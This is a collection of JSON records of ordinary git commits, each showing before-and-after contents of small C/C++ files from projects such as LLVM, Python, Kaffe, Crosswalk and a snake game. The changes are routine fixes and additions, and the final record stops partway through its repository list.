{"commit":"8d763d25ecf02f2704f6192a8f96bfe35aad6d98","old_file":"include\/llvm\/Bytecode\/Format.h","new_file":"include\/llvm\/Bytecode\/Format.h","old_contents":"\/\/===-- llvm\/Bytecode\/Format.h - VM bytecode file format info ---*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This header defines intrinsic constants that are useful to libraries that \n\/\/ need to hack on bytecode files directly, like the reader and writer.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_FORMAT_H\n#define LLVM_BYTECODE_FORMAT_H\n\nnamespace llvm {\n\nclass BytecodeFormat {   \/\/ Throw the constants into a poorman's namespace...\n  BytecodeFormat();      \/\/ do not implement\npublic:\n\n  \/\/ ID Numbers that are used in bytecode files...\n  enum FileBlockIDs {\n    \/\/ File level identifiers...\n    Module = 0x01,\n\n    \/\/ Module subtypes:\n    Function = 0x11,\n    ConstantPool,\n    SymbolTable,\n    ModuleGlobalInfo,\n    GlobalTypePlane,\n\n    \/\/ Function subtypes:\n    \/\/ Can also have ConstantPool block\n    \/\/ Can also have SymbolTable block\n    BasicBlock = 0x31,        \/\/ May contain many basic blocks\n\n    \/\/ InstructionList - The instructions in the body of a function.  This\n    \/\/ superceeds the old BasicBlock node.\n    InstructionList = 0x32,\n  };\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===-- llvm\/Bytecode\/Format.h - VM bytecode file format info ---*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This header defines intrinsic constants that are useful to libraries that \n\/\/ need to hack on bytecode files directly, like the reader and writer.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_FORMAT_H\n#define LLVM_BYTECODE_FORMAT_H\n\nnamespace llvm {\n\nclass BytecodeFormat {   \/\/ Throw the constants into a poorman's namespace...\n  BytecodeFormat();      \/\/ do not implement\npublic:\n\n  \/\/ ID Numbers that are used in bytecode files...\n  enum FileBlockIDs {\n    \/\/ File level identifiers...\n    Module = 0x01,\n\n    \/\/ Module subtypes:\n    Function = 0x11,\n    ConstantPool,\n    SymbolTable,\n    ModuleGlobalInfo,\n    GlobalTypePlane,\n\n    \/\/ Function subtypes:\n    \/\/ Can also have ConstantPool block\n    \/\/ Can also have SymbolTable block\n    BasicBlock = 0x31,\/\/ May contain many basic blocks (obsolete since LLVM 1.1)\n\n    \/\/ InstructionList - The instructions in the body of a function.  This\n    \/\/ superceeds the old BasicBlock node used in LLVM 1.0.\n    InstructionList = 0x32,\n\n    \/\/ CompactionTable - blocks with this id are used to define local remapping\n    \/\/ tables for a function, allowing the indices used within the function to\n    \/\/ be as small as possible.  This often allows the instructions to be\n    \/\/ encoded more efficiently.\n    CompactionTable = 0x33,\n  };\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Add enum for compaction table.","message":"Add enum for compaction table.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@10916 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap"}
{"commit":"cb39939355915d400a9ea0f0bee5e6fcc5dfeb37","old_file":"miner.h","new_file":"miner.h","old_contents":"#ifndef _CGMINER_MINER_H\n#define _CGMINER_MINER_H\n\n#include <stdint.h>\n\nstruct work {\n\tuint8_t *midstate;\n\tuint8_t *data;\n};\n\n#ifndef MAX\n#define MAX(a,b) ((a) < (b) ? (b) : (a))\n#endif\n#ifndef MIN\n#define MIN(a,b) ((a) > (b) ? (b) : (a))\n#endif\n\ntypedef enum {\n\tfalse = 0,\n\ttrue = 1\n} bool;\n#endif\n","new_contents":"#ifndef _CGMINER_MINER_H\n#define _CGMINER_MINER_H\n\n#include <stdint.h>\n#include <stdbool.h>\n\nstruct work {\n\tuint8_t *midstate;\n\tuint8_t *data;\n};\n\n#ifndef MAX\n#define MAX(a,b) ((a) < (b) ? (b) : (a))\n#endif\n#ifndef MIN\n#define MIN(a,b) ((a) > (b) ? (b) : (a))\n#endif\n\n#endif\n","subject":"Use stdbool.h for bool definition.","message":"Use stdbool.h for bool definition.\n\nOur own collides with applications using strbool.h\n","lang":"C","license":"mit","repos":"KnCMiner\/knc-asic,KnCMiner\/knc-asic,KnCMiner\/knc-asic"}
{"commit":"7faecaf1a4ee5fd3e25e2a1facfbfdebb15b596a","old_file":"radix.h","new_file":"radix.h","old_contents":"#ifndef RADIXTREE\n#define RADIXTREE\n\ntypedef struct rxt_node {\n    int color;\n    char *key; \/\/ only stores pos and beyond\n    int level; \/\/ tree level; for debug only\n    int parent_id; \/\/for debug only\n    int pos;\n    void *value;\n    struct rxt_node *parent;\n    struct rxt_node *left;\n    struct rxt_node *right;\n}rxt_node;\n\nvoid rxt_print(rxt_node*); \/\/ only for debugging small trees\nint rxt_put(char*, void *, rxt_node*);\nvoid* rxt_get(char*, rxt_node*);\nvoid* rxt_delete(char*, rxt_node*);\nvoid rxt_free(rxt_node *);\nrxt_node *rxt_init();\n\n#endif \/\/ RADIXTREE\n","new_contents":"#ifndef RADIXTREE\n#define RADIXTREE\n\ntypedef struct rxt_node {\n    int color;\n    char *key;\n    void *value;\n    int pos; \/\/ bit index of the key to compare at (critical position)\n    int level; \/\/ tree level; for debug only\n    int parent_id; \/\/for debug only\n    struct rxt_node *parent;\n    struct rxt_node *left;\n    struct rxt_node *right;\n}rxt_node;\n\nvoid rxt_print(rxt_node*); \/\/ only for debugging small trees\nint rxt_put(char*, void *, rxt_node*);\nvoid* rxt_get(char*, rxt_node*);\nvoid* rxt_delete(char*, rxt_node*);\nvoid rxt_free(rxt_node *);\nrxt_node *rxt_init();\n\n#endif \/\/ RADIXTREE\n","subject":"Move things around the rxt_node struct and clean up comments. Breaks ABI.","message":"Move things around the rxt_node struct and clean up comments.\nBreaks ABI.\n","lang":"C","license":"bsd-2-clause","repos":"j0sh\/radixtree"}
{"commit":"702bc06cd7418160e2592cc2a5dae386c6faf227","old_file":"snake.c","new_file":"snake.c","old_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\ntypedef enum Cell {\n\tEMPTY\n\t,SNAKE\n\t,FOOD\n} Cell;\n\ntypedef Cell Board[BOARD_HEIGHT][BOARD_WIDTH];\n\ntypedef enum Direction {LEFT, UP, RIGHT, DOWN} Direction;\n\n\/**\n * Represent a cell using a character.\n *\n * @return A character representing the content of the cell provided.\n *\/\nchar representCell(const Cell c) {\n\tswitch (c) {\n\t\tcase SNAKE: return 'S';\n\t\tcase FOOD: return 'F';\n\t\tdefault: return '.';\n\t}\n}\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\ntypedef enum Cell {\n\tEMPTY\n\t,SNAKE\n\t,FOOD\n} Cell;\n\ntypedef Cell Board[BOARD_HEIGHT][BOARD_WIDTH];\n\ntypedef enum Direction {LEFT, UP, RIGHT, DOWN} Direction;\n\n\/**\n * Represent a cell using a character.\n *\n * @return A character representing the content of the cell provided.\n *\/\nchar representCell(const Cell c) {\n\tswitch (c) {\n\t\tcase SNAKE: return 'S';\n\t\tcase FOOD: return 'F';\n\t\tdefault: return '.';\n\t}\n}\n\n\/**\n * Create a string representation of some board.\n *\n * @param board The board that is to be represented.\n *\n * @return A string representation of the given board. The caller must take care\n * to free the string returned.\n *\/\nchar *stringify(const Board board) {\n\tchar *str = malloc(BOARD_WIDTH * BOARD_HEIGHT + BOARD_HEIGHT + 1);\n\tsize_t pos = 0;\n\tfor (size_t row = 0; row < BOARD_HEIGHT; row++) {\n\t\tfor (size_t col = 0; col < BOARD_WIDTH; col++) {\n\t\t\tstr[pos++] = representCell(board[row][col]);\n\t\t}\n\t\tstr[pos++] = '\\n';\n\t}\n\tstr[pos] = '\\0';\n\treturn str;\n}\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","subject":"Add a function to stringify boards.","message":"Add a function to stringify boards.\n","lang":"C","license":"mit","repos":"Hendrikto\/Snake"}
{"commit":"6f3db08828b139d50b6f91a8fd87e8b3b18fbf1f","old_file":"stack.c","new_file":"stack.c","old_contents":"#include \"stack.h\"\n\nstruct Stack\n{\n\tsize_t size;\n\tsize_t top;\n\tvoid** e;\n}\n\nStack* Stack_Create(size_t n)\n{\n\tStack* s = (Stack *)malloc(sizeof(Stack));\n\ts->size = n;\n\ts->top = 0;\n\ts->e = (void**)malloc(sizeof(void*) * (n + 1));\n\treturn s;\n}\n\nint Stack_Empty(Stack* s)\n{\n\tif (s->top == 0)\n\t{\n\t\treturn 1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\nvoid Stack_Push(Stack* s, void* e)\n{\n\tif (s == NULL) return;\n\tif (s->top == s->size) return;\n\ts->top = s->top + 1;\n\ts->e[s->top] = e;\n}\n\nvoid* Stack_Pop(Stack* s)\n{\n\tif (Stack_Empty(s)) return;\n\ts->top = s->top - 1;\n\treturn s->e[s->top+1];\n}\n\nvoid Stack_Destroy(Stack* s)\n{\n\tif (s == NULL) return;\n\tfree(s->e);\n\tfree(s);\n}","new_contents":"#include \"stack.h\"\n\nstruct Stack\n{\n\tsize_t size;\n\tsize_t top;\n\tvoid** e;\n};\n\nStack* Stack_Create(size_t n)\n{\n\tStack* s = (Stack *)malloc(sizeof(Stack));\n\ts->size = n;\n\ts->top = 0;\n\ts->e = (void**)malloc(sizeof(void*) * (n + 1));\n\treturn s;\n}\n\nint Stack_Empty(Stack* s)\n{\n\tif (s->top == 0)\n\t{\n\t\treturn 1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\nvoid Stack_Push(Stack* s, void* e)\n{\n\tif (s == NULL) return;\n\tif (s->top == s->size) return;\n\ts->top = s->top + 1;\n\ts->e[s->top] = e;\n}\n\nvoid* Stack_Pop(Stack* s)\n{\n\tif (Stack_Empty(s)) return;\n\ts->top = s->top - 1;\n\treturn s->e[s->top+1];\n}\n\nvoid Stack_Destroy(Stack* s)\n{\n\tif (s == NULL) return;\n\tfree(s->e);\n\tfree(s);\n}","subject":"Fix missing ; in struct implementation","message":"Fix missing ; in struct implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"83672f4cd283575c147b308d786463aa0216f694","old_file":"config\/alpha\/netbsd1\/jit-md.h","new_file":"config\/alpha\/netbsd1\/jit-md.h","old_contents":"","new_contents":"\/*\n * alpha\/netbsd\/jit-md.h\n * NetBSD Alpha JIT configuration information.\n *\n * Copyright (c) 2001\n *\tEdouard G. Parmelan.  All rights reserved.\n *\n * Copyright (c) 2001\n *\tTransvirtual Technologies, Inc.  All rights reserved.\n *\n * See the file \"license.terms\" for information on usage and redistribution\n * of this file.\n *\/\n\n#ifndef __alpha_netbsd_jit_md_h\n#define __alpha_netbsd_jit_md_h\n\n\/**\/\n\/* Include common information. *\/\n\/**\/\n#include \"alpha\/jit.h\"\n\n\n\/**\/\n\/* Extra exception handling information. *\/\n\/**\/\n\n\/* Function prototype for signal handlers *\/\n#define\tEXCEPTIONPROTO\t\t\t\t\t\\\n\tint sig, int code, struct sigcontext* ctx\n\n\n\/* Structure of exception frame on stack *\/\ntypedef struct _exceptionFrame {\n\tchar *pc;\n\tchar *sp;\n\tchar *fp;\n} exceptionFrame;\n\nint __alpha_ra (int *pc);\nexceptionFrame *__alpha_nextFrame (exceptionFrame *frame);\n\n\/* Extract PC, FP and SP from the given frame *\/\n#define PCFRAME(f)\t((f)->pc)\n#define SPFRAME(f)\t((f)->sp)\n#define FPFRAME(f)\t((f)->fp)\n\n\/* Get the first exception frame from a subroutine call *\/\n#define FIRSTFRAME(f, o)\t\t\t\\\n\t(f).sp = 0;\t\t\t\t\\\n\t__alpha_nextFrame(&f)\n\n\/* Get the next frame in the chain *\/\n#define NEXTFRAME(f)\t\t\t\t\\\n\t__alpha_nextFrame(f)\n\n\/* Get the first exception frame from a signal handler *\/\n#define EXCEPTIONFRAME(f, c)\t\t\t\t\\\n\t(f).pc = (__alpha_ra ((c)->sc_pc) == -1)\t\\\n\t    ? (c)->sc_pc\t\t\t\t\\\n\t    : (c)->sc_regs[__alpha_ra ((c)->sc_pc)];\t\\\n\t(f).sp = (c)->sc_regs[30];\t\t\t\\\n\t(f).fp = (c)->sc_regs[15]\n\n#endif\n","subject":"Use new stack inspection function. Enable JIT compilation.","message":"Use new stack inspection function.  Enable JIT compilation.\n","lang":"C","license":"lgpl-2.1","repos":"kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe"}
{"commit":"41886d53f3c007f5a23781361e3b638afb62ea6d","old_file":"Include\/node.h","new_file":"Include\/node.h","old_contents":"\n\/* Parse tree node interface *\/\n\n#ifndef Py_NODE_H\n#define Py_NODE_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct _node {\n    short\t\tn_type;\n    char\t\t*n_str;\n    int\t\t\tn_lineno;\n    int\t\t\tn_nchildren;\n    struct _node\t*n_child;\n} node;\n\nextern DL_IMPORT(node *) PyNode_New(int type);\nextern DL_IMPORT(int) PyNode_AddChild(node *n, int type,\n                                      char *str, int lineno);\nextern DL_IMPORT(void) PyNode_Free(node *n);\n\n\/* Node access functions *\/\n#define NCH(n)\t\t((n)->n_nchildren)\n#define CHILD(n, i)\t(&(n)->n_child[i])\n#define TYPE(n)\t\t((n)->n_type)\n#define STR(n)\t\t((n)->n_str)\n\n\/* Assert that the type of a node is what we expect *\/\n#ifndef Py_DEBUG\n#define REQ(n, type) { \/*pass*\/ ; }\n#else\n#define REQ(n, type) \\\n\t{ if (TYPE(n) != (type)) { \\\n\t    fprintf(stderr, \"FATAL: node type %d, required %d\\n\", \\\n\t\t    TYPE(n), type); \\\n\t    abort(); \\\n\t} }\n#endif\n\nextern DL_IMPORT(void) PyNode_ListTree(node *);\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_NODE_H *\/\n","new_contents":"\n\/* Parse tree node interface *\/\n\n#ifndef Py_NODE_H\n#define Py_NODE_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct _node {\n    short\t\tn_type;\n    char\t\t*n_str;\n    int\t\t\tn_lineno;\n    int\t\t\tn_nchildren;\n    struct _node\t*n_child;\n} node;\n\nextern DL_IMPORT(node *) PyNode_New(int type);\nextern DL_IMPORT(int) PyNode_AddChild(node *n, int type,\n                                      char *str, int lineno);\nextern DL_IMPORT(void) PyNode_Free(node *n);\n\n\/* Node access functions *\/\n#define NCH(n)\t\t((n)->n_nchildren)\n#define CHILD(n, i)\t(&(n)->n_child[i])\n#define TYPE(n)\t\t((n)->n_type)\n#define STR(n)\t\t((n)->n_str)\n\n\/* Assert that the type of a node is what we expect *\/\n#define REQ(n, type) assert(TYPE(n) == (type))\n\nextern DL_IMPORT(void) PyNode_ListTree(node *);\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_NODE_H *\/\n","subject":"Use an assert() for the REQ() macro instead of making up our own assertion.","message":"Use an assert() for the REQ() macro instead of making up our own\nassertion.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"810f19c8fd7b21a8ba65bc510b8b38e8b19f7aba","old_file":"src\/DGLCommon\/gl-headers.h","new_file":"src\/DGLCommon\/gl-headers.h","old_contents":"#ifndef GL_HEADERS_H\r\n#define GL_HEADERS_H\r\n\r\n#ifdef _WIN32\r\n#define WIN32_LEAN_AND_MEAN\r\n#include <windows.h>\r\n#else\r\n#define WINGDIAPI KHRONOS_APICALL\r\n#define APIENTRY KHRONOS_APIENTRY\r\n#endif\r\n\r\n#include <codegen\/input\/egl.h>\r\n#include <codegen\/input\/eglext.h>\r\n#include <codegen\/input\/GL.h>\r\n#include <codegen\/input\/glext.h>\r\n\r\n#ifdef _WIN32\r\n#include <codegen\/input\/wglext.h>\r\n#endif\r\n\r\n#endif\r\n","new_contents":"#ifndef GL_HEADERS_H\r\n#define GL_HEADERS_H\r\n\r\n#ifdef _WIN32\r\n#define WIN32_LEAN_AND_MEAN\r\n#include <windows.h>\r\n#else\r\n#define WINGDIAPI KHRONOS_APICALL\r\n#define APIENTRY KHRONOS_APIENTRY\r\n#endif\r\n\r\n#include <codegen\/input\/egl.h>\r\n#include <codegen\/input\/eglext.h>\r\n#include <codegen\/input\/GL.h>\r\n#include <codegen\/input\/glext.h>\r\n\r\n#ifdef _WIN32\r\n#include <codegen\/input\/wglext.h>\r\n#else\r\n#include <codegen\/input\/glx.h>\r\n\/\/#include <codegen\/input\/glxext.h>\r\n#endif\r\n\r\n#endif\r\n","subject":"Include glx as a gl-header","message":"Include glx as a gl-header\n","lang":"C","license":"apache-2.0","repos":"scygan\/debugler,scygan\/debugler,scygan\/debugler,scygan\/debugler"}
{"commit":"f1e39690cf85b947ed6ccb1c12315b79f83708bb","old_file":"433Rx\/Device.h","new_file":"433Rx\/Device.h","old_contents":"\/\/ Copyright 2014-2016 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n\n#ifndef _DEVICE\n#define _DEVICE\n\n#include \"MessageQueue.h\"\n#include \"DeviceMessageHandler.h\"\n\n\ntypedef struct MessageHandlerListEntry {\n  DeviceMessageHandler* handler;\n  MessageHandlerListEntry* next;\n} MessageHandlerListEntry;\n\nclass Device {\n  protected:\n    MessageQueue* queue;\n    MessageHandlerListEntry* _messageHandlers;\n\n  public:\n    Device();\n    void setQueue(MessageQueue* queue);\n\n    \/\/ must be implemented by sub class\n    virtual int deviceType(void) = 0;\n    virtual char* deviceName(void) = 0;\n    virtual void processPulse(long duration) = 0;\n    virtual void decodeMessage(Message* message) = 0;\n\n    \/\/ can optionally be overridden by devices\n    virtual void handleMessage(Message* message);\n    virtual bool registerMessageHandler(DeviceMessageHandler* handler);\n};\n\n#endif\n","new_contents":"\/\/ Copyright 2014-2016 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n\n#ifndef _DEVICE\n#define _DEVICE\n\n#include \"MessageQueue.h\"\n#include \"DeviceMessageHandler.h\"\n\n#ifdef __arm__\n\n#define INTERRUPT_SAFE\n#else\n#include <Arduino.h>\n#define INTERRUPT_SAFE ICACHE_RAM_ATTR\n#endif\n\ntypedef struct MessageHandlerListEntry {\n  DeviceMessageHandler* handler;\n  MessageHandlerListEntry* next;\n} MessageHandlerListEntry;\n\nclass Device {\n  protected:\n    MessageQueue* queue;\n    MessageHandlerListEntry* _messageHandlers;\n\n  public:\n    Device();\n    void setQueue(MessageQueue* queue);\n\n    \/\/ must be implemented by sub class\n    virtual int deviceType(void) = 0;\n    virtual char* deviceName(void) = 0;\n    virtual void processPulse(long duration) = 0;\n    virtual void decodeMessage(Message* message) = 0;\n\n    \/\/ can optionally be overridden by devices\n    virtual void handleMessage(Message* message);\n    virtual bool registerMessageHandler(DeviceMessageHandler* handler);\n};\n\n#endif\n","subject":"Add back missing platform defines","message":"Add back missing platform defines\n","lang":"C","license":"mit","repos":"mhdawson\/arduino-esp8266,mhdawson\/arduino-esp8266"}
{"commit":"6ea747689679605c90dc4fa109a6988ccc10ff48","old_file":"application\/tools\/linux\/xwalk_tizen_user.c","new_file":"application\/tools\/linux\/xwalk_tizen_user.c","old_contents":"\/\/ Copyright (c) 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <unistd.h>\n#include <sys\/types.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n#include <errno.h>\n#include <pwd.h>\n\nint xwalk_tizen_set_home_for_user_app(void) {\n#if !defined(OS_TIZEN_MOBILE)\n  return 0;\n#endif\n\n  \/\/ Tizen doesn't set HOME by default on login for user \"app\".\n  uid_t uid = getuid();\n  struct passwd* passwd = getpwuid(uid);\n\n  if (!passwd)\n    return -ENOENT;\n\n  if (strcmp(passwd->pw_name, \"app\")) {\n    fprintf(stderr, \"User is not 'app', launching an application will not work\\n\");\n    return -EINVAL;\n  }\n\n  if (setenv(\"HOME\", passwd->pw_dir, true) != 0) {\n    fprintf(stderr, \"Couldn't set 'HOME' env variable to '%s'\\n\", passwd->pw_dir);\n    return -EINVAL;\n  }\n\n  return 0;\n}\n","new_contents":"\/\/ Copyright (c) 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <unistd.h>\n#include <sys\/types.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n#include <errno.h>\n#include <pwd.h>\n\nint xwalk_tizen_set_home_for_user_app(void) {\n#if !defined(OS_TIZEN_MOBILE)\n  return 0;\n#endif\n\n  \/\/ Tizen doesn't set HOME by default on login for user \"app\".\n  uid_t uid = getuid();\n  struct passwd* passwd = getpwuid(uid);\n\n  if (!passwd)\n    return -ENOENT;\n\n  if (strcmp(passwd->pw_name, \"app\")) {\n    fprintf(stderr, \"User is not 'app', launching an application will not work\\n\");\n    return -EINVAL;\n  }\n\n  if (setenv(\"HOME\", passwd->pw_dir, true) != 0) {\n    fprintf(stderr, \"Couldn't set 'HOME' env variable to '%s'\\n\", passwd->pw_dir);\n    return -EINVAL;\n  }\n\n  return 0;\n}\n","subject":"Fix warning about missing strcmp() definition","message":"[Application][Tools] Fix warning about missing strcmp() definition\n\nThe #include <string.h> directive was missing.\n","lang":"C","license":"bsd-3-clause","repos":"jondwillis\/crosswalk,ZhengXinCN\/crosswalk,fujunwei\/crosswalk,leonhsl\/crosswalk,heke123\/crosswalk,PeterWangIntel\/crosswalk,hgl888\/crosswalk,pk-sam\/crosswalk,chuan9\/crosswalk,minggangw\/crosswalk,Pluto-tv\/crosswalk,xzhan96\/crosswalk,jpike88\/crosswalk,minggangw\/crosswalk,dreamsxin\/crosswalk,XiaosongWei\/crosswalk,baleboy\/crosswalk,zeropool\/crosswalk,huningxin\/crosswalk,amaniak\/crosswalk,axinging\/crosswalk,dreamsxin\/crosswalk,hgl888\/crosswalk-efl,PeterWangIntel\/crosswalk,jpike88\/crosswalk,axinging\/crosswalk,marcuspridham\/crosswalk,darktears\/crosswalk,myroot\/crosswalk,qjia7\/crosswalk,XiaosongWei\/crosswalk,lincsoon\/crosswalk,jondong\/crosswalk,jondwillis\/crosswalk,huningxin\/crosswalk,marcuspridham\/crosswalk,weiyirong\/crosswalk-1,minggangw\/crosswalk,marcuspridham\/crosswalk,Bysmyyr\/crosswalk,minggangw\/crosswalk,zeropool\/crosswalk,zeropool\/crosswalk,tedshroyer\/crosswalk,fujunwei\/crosswalk,crosswalk-project\/crosswalk,rakuco\/crosswalk,Pluto-tv\/crosswalk,amaniak\/crosswalk,crosswalk-project\/crosswalk,hgl888\/crosswalk-efl,stonegithubs\/crosswalk,jondong\/crosswalk,TheDirtyCalvinist\/spacewalk,fujunwei\/crosswalk,darktears\/crosswalk,XiaosongWei\/crosswalk,leonhsl\/crosswalk,crosswalk-project\/crosswalk,jondong\/crosswalk,dreamsxin\/crosswalk,huningxin\/crosswalk,mrunalk\/crosswalk,leonhsl\/crosswalk,heke123\/crosswalk,weiyirong\/crosswalk-1,zliang7\/crosswalk,zliang7\/crosswalk,ZhengXinCN\/crosswalk,stonegithubs\/crosswalk,DonnaWuDongxia\/crosswalk,heke123\/crosswalk,jpike88\/crosswalk,TheDirtyCalvinist\/spacewalk,TheDirtyCalvinist\/spacewalk,tomatell\/crosswalk,crosswalk-project\/crosswalk-efl,PeterWangIntel\/crosswalk,alex-zhang\/crosswalk,hgl888\/crosswalk,PeterWangIntel\/crosswalk,ZhengXinCN\/crosswalk,siovene\/crosswalk,hgl888\/crosswalk-efl,myroot\/crosswalk,crosswalk-project\/crosswalk,xzhan96\/crosswalk,jpike88\/crosswalk,fujunwei\/crosswalk,zeropool\/crosswalk,RafuCater\/crosswalk,darktears\/crosswalk,chinakids\/crosswalk,XiaosongWei\/crosswalk,TheDirtyCalvinist\/spacewalk,siovene\/crosswalk,stonegithubs\/crosswalk,tedshroyer\/crosswalk,baleboy\/crosswalk,stonegithubs\/crosswalk,leonhsl\/crosswalk,crosswalk-project\/crosswalk-efl,marcuspridham\/crosswalk,tedshroyer\/crosswalk,crosswalk-project\/crosswalk,chuan9\/crosswalk,jpike88\/crosswalk,mrunalk\/crosswalk,seanlong\/crosswalk,chinakids\/crosswalk,rakuco\/crosswalk,xzhan96\/crosswalk,dreamsxin\/crosswalk,jondong\/crosswalk,amaniak\/crosswalk,hgl888\/crosswalk-efl,pk-sam\/crosswalk,minggangw\/crosswalk,axinging\/crosswalk,zliang7\/crosswalk,hgl888\/crosswalk,rakuco\/crosswalk,XiaosongWei\/crosswalk,chuan9\/crosswalk,marcuspridham\/crosswalk,seanlong\/crosswalk,myroot\/crosswalk,xzhan96\/crosswalk,zeropool\/crosswalk,bestwpw\/crosswalk,rakuco\/crosswalk,jondwillis\/crosswalk,qjia7\/crosswalk,bestwpw\/crosswalk,darktears\/crosswalk,zliang7\/crosswalk,baleboy\/crosswalk,DonnaWuDongxia\/crosswalk,mrunalk\/crosswalk,xzhan96\/crosswalk,shaochangbin\/crosswalk,amaniak\/crosswalk,Pluto-tv\/crosswalk,crosswalk-project\/crosswalk-efl,RafuCater\/crosswalk,hgl888\/crosswalk-efl,ZhengXinCN\/crosswalk,crosswalk-project\/crosswalk-efl,jpike88\/crosswalk,jondong\/crosswalk,mrunalk\/crosswalk,tedshroyer\/crosswalk,minggangw\/crosswalk,siovene\/crosswalk,jondwillis\/crosswalk,hgl888\/crosswalk-efl,mrunalk\/crosswalk,jpike88\/crosswalk,zeropool\/crosswalk,pk-sam\/crosswalk,Pluto-tv\/crosswalk,TheDirtyCalvinist\/spacewalk,Bysmyyr\/crosswalk,baleboy\/crosswalk,darktears\/crosswalk,zliang7\/crosswalk,qjia7\/crosswalk,Bysmyyr\/crosswalk,axinging\/crosswalk,shaochangbin\/crosswalk,tomatell\/crosswalk,marcuspridham\/crosswalk,jondwillis\/crosswalk,myroot\/crosswalk,lincsoon\/crosswalk,bestwpw\/crosswalk,amaniak\/crosswalk,zliang7\/crosswalk,alex-zhang\/crosswalk,marcuspridham\/crosswalk,seanlong\/crosswalk,myroot\/crosswalk,PeterWangIntel\/crosswalk,fujunwei\/crosswalk,dreamsxin\/crosswalk,darktears\/crosswalk,alex-zhang\/crosswalk,huningxin\/crosswalk,shaochangbin\/crosswalk,myroot\/crosswalk,alex-zhang\/crosswalk,Bysmyyr\/crosswalk,qjia7\/crosswalk,DonnaWuDongxia\/crosswalk,weiyirong\/crosswalk-1,DonnaWuDongxia\/crosswalk,rakuco\/crosswalk,tomatell\/crosswalk,chuan9\/crosswalk,stonegithubs\/crosswalk,crosswalk-project\/crosswalk-efl,lincsoon\/crosswalk,zliang7\/crosswalk,Pluto-tv\/crosswalk,weiyirong\/crosswalk-1,xzhan96\/crosswalk,baleboy\/crosswalk,RafuCater\/crosswalk,minggangw\/crosswalk,shaochangbin\/crosswalk,bestwpw\/crosswalk,ZhengXinCN\/crosswalk,weiyirong\/crosswalk-1,leonhsl\/crosswalk,lincsoon\/crosswalk,crosswalk-project\/crosswalk,stonegithubs\/crosswalk,darktears\/crosswalk,PeterWangIntel\/crosswalk,amaniak\/crosswalk,alex-zhang\/crosswalk,RafuCater\/crosswalk,jondwillis\/crosswalk,fujunwei\/crosswalk,seanlong\/crosswalk,hgl888\/crosswalk,seanlong\/crosswalk,ZhengXinCN\/crosswalk,heke123\/crosswalk,bestwpw\/crosswalk,DonnaWuDongxia\/crosswalk,stonegithubs\/crosswalk,chinakids\/crosswalk,shaochangbin\/crosswalk,XiaosongWei\/crosswalk,jondong\/crosswalk,zliang7\/crosswalk,lincsoon\/crosswalk,jondong\/crosswalk,zeropool\/crosswalk,siovene\/crosswalk,pk-sam\/crosswalk,tomatell\/crosswalk,tomatell\/